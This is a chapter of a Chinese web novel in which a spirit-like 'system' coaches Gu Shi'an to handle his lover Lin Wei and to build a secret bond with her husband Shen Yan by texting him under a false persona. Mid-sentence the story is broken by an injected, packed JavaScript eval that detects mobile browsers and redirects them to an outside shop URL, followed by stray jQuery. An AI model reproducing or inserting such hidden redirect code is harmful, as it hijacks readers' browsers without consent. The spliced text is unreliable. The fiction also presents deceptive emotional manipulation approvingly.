接下来好些天,顾时安的表现都让我满意。
主线任务二发布后,他整个人像换了个引擎。上班更积极了,开会更专注了,连林薇来查岗的时候,他都能一边笑着应付,一边在电脑上敲方案。那股游刃有余的劲儿,比之前更甚。
「估计是突然会了伪音,他有点下意识地躲避林薇。以前林薇来找他,他总要起身迎一迎,递杯水,拉拉手。现在倒好,林薇进来了,他屁股跟粘在椅子上似的,最多抬头笑一下。嘴上还是那么温柔,但身体语言骗不了人。距离感,出来了。」
「可能顾时安自己都没发现,但哥作为局外人,看得清清楚楚。他这两天给林薇的回应明显没有之前热烈了。虽然仍旧在水准线之上。但女人都是敏锐的动物,尤其是林薇这种在商场上混了这么多年的。她一定能感觉到,只是暂时还说不清哪里不对。」
果然,第三天下午。
林薇没像往常一样直接坐到顾时安办公桌对面,而是走到他身后,手搭在他肩上。顾时安正在看一份数据报表,感觉到她的触碰,身体先是一僵,然后才慢慢放松下来。
“时安,你最近是不是有心事?”她的声音很轻,像在哄一个生病的孩子。
“怎么这么问?”顾时安抬头看她,笑得恰到好处。
“你这几天,跟我说话的时候,总有点心不在焉。”林薇的手指沿着他的肩线滑到后颈,停在领口的位置,“以前你不会这样的。我是不是哪里让你不高兴了?”
「来了来了。经典的“你最近是不是有心事”。林薇的试探方式,和短视频里那些情感博主总结的完全一致。语气放软,动作放轻,从关心切入。如果你说她没事找事,她会更觉得有事。顾时安,看你怎么接。接不好,这条主线就要提前杀青了。」
顾时安没有立刻回答。他放下手里的笔,轻轻握住林薇搭在他肩上的手,转过身,仰着头看她。那个角度,他能看到她的脸,她能看到他的眼睛。
“薇姐。”他开口,声音里带着一点疲惫,一点无奈,还有一点恰到好处的脆弱,“你知道的,我不喜欢现在这样。”
林薇的手一紧:“现在这样?你是指……”
“我说出来,你可能会多想。但我不想骗你。”顾时安垂下眼,“你现在毕竟还在冷静期。我们这样每天见面,公司里不是没有风言风语。我不在乎别人怎么看我,但我不想别人说你。”
林薇的表情僵住了。
她的嘴唇动了动,像是想反驳什么,但最终没有说出口。办公室里的空气像是被抽走了温度,安静得能听到空调出风口的轻响。
「高。实在是高。这一招,以退为进,借刀杀人。表面上是在为她考虑,实际上是把自己往“受害者”的位置上挪了挪。而且他根本没提“避嫌”两个字,只说“不想别人说你”。这话的潜台词是什么?是“我无所谓,但为了你我愿意受委屈”。」
「林薇这种性格,最吃这套。她不会怪他冷淡,反而会心疼他。甚至会自责,觉得是自己没处理好离婚的事,才让他受委屈。」
「这波,顾时安赢得漂亮。干得不错,宿主。哥给你打九分。扣一分是怕你骄傲。」
“时安……”林薇的声音软了下来,比刚才更软,像是做了什么决定,“再给我一点时间。等离婚手续办完,我们就正式在一起。我不在乎别人怎么说。这公司是我的,你也是我的。”
「好家伙,“你也是我的”。顾时安,你被霸道女总裁当面宣示主权了。你现在是什么感受?」
「是不是觉得自己像个被包养的小白脸?不过你早就是了。林氏集团战略顾问,白天在公司给女总裁当军师,晚上在家给女总裁当情话播放器。这职业路径,比你在漂亮国学的那些什么金融管理有前途多了。」
顾时安露出一个“被感动了”的笑容,把林薇的手拉到唇边,轻轻碰了一下:“我知道。我也是你的。”
林薇的耳根红了。
她在顾时安办公室又待了十几分钟,走之前还帮他重新泡了杯咖啡,把窗边那盆绿萝的枯叶摘了。动作自然得像在自己家。
「贤惠。太贤惠了。顾时安,你要是真把她娶回家,家里连保洁都不用请。但问题是,你娶不娶她,得看我的任务进度。而我的任务进度,全看你什么时候能把心思从她身上掰一半给你哥。」
「不过不着急,慢慢来。感情的事,急不得。就像熬汤,火大了容易糊,火小了不出味。哥给你调好了文火,你只要按部就班往里加料就行。」
沈晏的信息,是那天夜里发来的。
准确地说,是隔天凌晨。
当时顾时安已经睡着了。卧室的灯灭了,只留了一盏夜灯。我飘在客厅里待机,意识半睡半醒。
手机震了两下。
我睁开眼——如果灵体也有“睁眼”这个动作的话。飘到床头柜上方,俯身看着手机屏幕。
通知预览跳了出来,发送人:沈晏。
内容还不短。密密麻麻的小字,挤在锁屏界面上。而且不时有新的消息进来,一条接一条。
「真是有病,而且病得不轻。大半夜不睡觉,库库给人发信息。把这里当树洞了?」
「沈晏,我怎么不知道你还是个昼伏夜出的人?你该不会是从小到大都没被人揍过,所以不知道凌晨骚扰别人是要挨打的吧?」
「不过这人还算有点数,至少没发语音。大概他自己也觉得发文字更有安全感。可怜的小奶狗。白天装得人模人样,到了夜里,打回原形了。」
我一条条读下来。
消息内容大多没头没尾,像是从脑子里直接倒出来的。
“欣姐,我是不是特别失败?”
“我一直在想,林薇为什么会变成这样。我们刚在一起的时候,她不是这样的。她笑起来的时候,眼睛里有光。现在她看我的眼神,像在看一个陌生人。”
“我从来没有想过,我会和一个不认识的人说这些。但我真的不知道还能跟谁说。”
“我妈只会让我忍。我爸只会叹气。公司的事还要我处理。我没有地方可以说。”
“欣姐,你还在吗?”
“我是不是打扰你了?”
“对不起。”
最后一条,时间停在凌晨两点十七分。
然后安静了。
「终于消停了。」
「两点十七。凌晨两点十七分。一个被弟弟和老婆同时背叛的男人,在这个时间点,和一个只聊过几句的陌生“姐姐”诉苦。还道歉。」
「顾时安,看看你干的好事。你把你哥从一个傻白甜,活生生逼成了深夜emo患者。」
不过我没真的责怪顾时安。毕竟这口锅,天道也要背一半。
「还好哥横插一脚,让顾时安成为沈晏的emo对象。一个伤害他的人,最后成了他的解药。经典。太经典了。先虐后甜,先苦后甘。哥果然是专业的。」
我飘在卧室半空,看着熟睡的顾时安,终究决定不叫醒他。
「任务再急,也不能乱了节奏。」
「深更半夜把他拽起来回沈晏消息,不是不行。可这样一来,顾时安就会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974422|214710||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
觉得沈晏的消息很重要,必须秒回。这对后续的“钓系”策略不利。也容易让沈晏产生“我只能在半夜联系上欣姐”的错觉。」
「而且,顾时安白天累得跟狗一样,现在把他弄醒,明天肯定蔫。他蔫了,怎么去应付林薇?怎么去推进任务?所以,让沈晏自己冷静一会儿。等明早顾时安睡饱了,再美美地回复。这叫什么?这叫管理者对执行者的关怀。……好吧,我编不下去了。我就是怕他明天没精神,坏了我的好事。本系统又没有良心。我怎么会心疼他?才怪。」
「管理员真是嘴硬心软。」天机的声音轻飘飘地冒了出来。
「天机,闭嘴,睡觉。」
「好的呢~晚安,管理员~」
天机的声音消失得干干净净。我继续在半空中飘了一会儿,最后还是回到了客厅。夜色浓得像墨。顾时安在卧室里翻了个身,呼吸均匀。
第二天早上,顾时安神清气爽地醒来。
他看了眼手机,发现那十几条未读消息的时候,表情没什么波澜。只是蹲在床头看完了全部内容,然后抬头对我飘的方向问了一句:“他这是什么意思?”
“意思就是你该回他了。”我语气淡淡。
“回什么?”
“就回——”我清了清嗓子,“‘昨晚睡了吗?’”
顾时安愣了一下,随即点点头。
接下来的几天,顾时安在我的指点下,和沈晏聊得越来越频繁。沈晏说自己心里苦。顾时安就回:“早点睡,熬夜不好。”沈晏说自己可能真的不会经营婚姻。顾时安就回:“你尽力了就行。”沈晏说林薇以前不是这样的。顾时安就回:“人都会变。”
主打一个不劝慰、不同情、只关心。
“时安呐,你知道为什么哥要定这‘九字方针’吗?”我又一次在办公室飘到他面前。
顾时安非常不给面子地回了一句:“你定的吗?我以为是系统说明书里的。”
「……行。算你狠。看在我今天心情好的份上,不跟你计较。毕竟我还要靠你完成平台任务。」
「你那脑子里,除了林薇,也就能再装点沈晏了。不过看你的样子,好像真没明白。那我就耐着性子,给你讲讲其中的门道。」
“因为欣姐是林薇的闺蜜,顾时安的朋友。她不能直接跳反站到沈晏这边,陪他感同身受。所以,只要关心他就好。这样沈晏才会觉得她可信,又不会觉得她虚伪。”
顾时安想了想,点头:“懂了。所以我就只关心他。”
“对,只要关心他就好。”
我回答得很肯定。但我不知道顾时安明白了几层。我看了眼他的气泡框。
【关心沈晏,让他早日走出情感创伤,不在冷静期内闹幺蛾子,降低领离婚证的意外。这逻辑没毛病。】
「果然。他只听懂了最表层的用意。」
「不过没关系。沈晏现在就像一个被丢进孤岛的人,而欣姐是他唯一的信号。只要顾时安不断地回应他,关心他,他们之间就会生出一种牢固的、隐蔽的联系。虽然这层联系目前披着“闺蜜”的皮。但等时机到了,皮一脱,里面就是——嘿嘿嘿。先不说了。再说下去,我脑内的画面要打马赛克了。」
之后沈晏的信息,我逐步放手让顾时安自己处理。他对尺度的把握越来越得心应手。比如有一次沈晏发来一句“我是不是哪里做得不够好”。我正想开口教他,他直接回了句“不是你的错”。这句话不是我教的。但他回得很准。先否定对方的自我归因,再留白。沈晏接到这句话,果然又絮絮叨叨说了很多。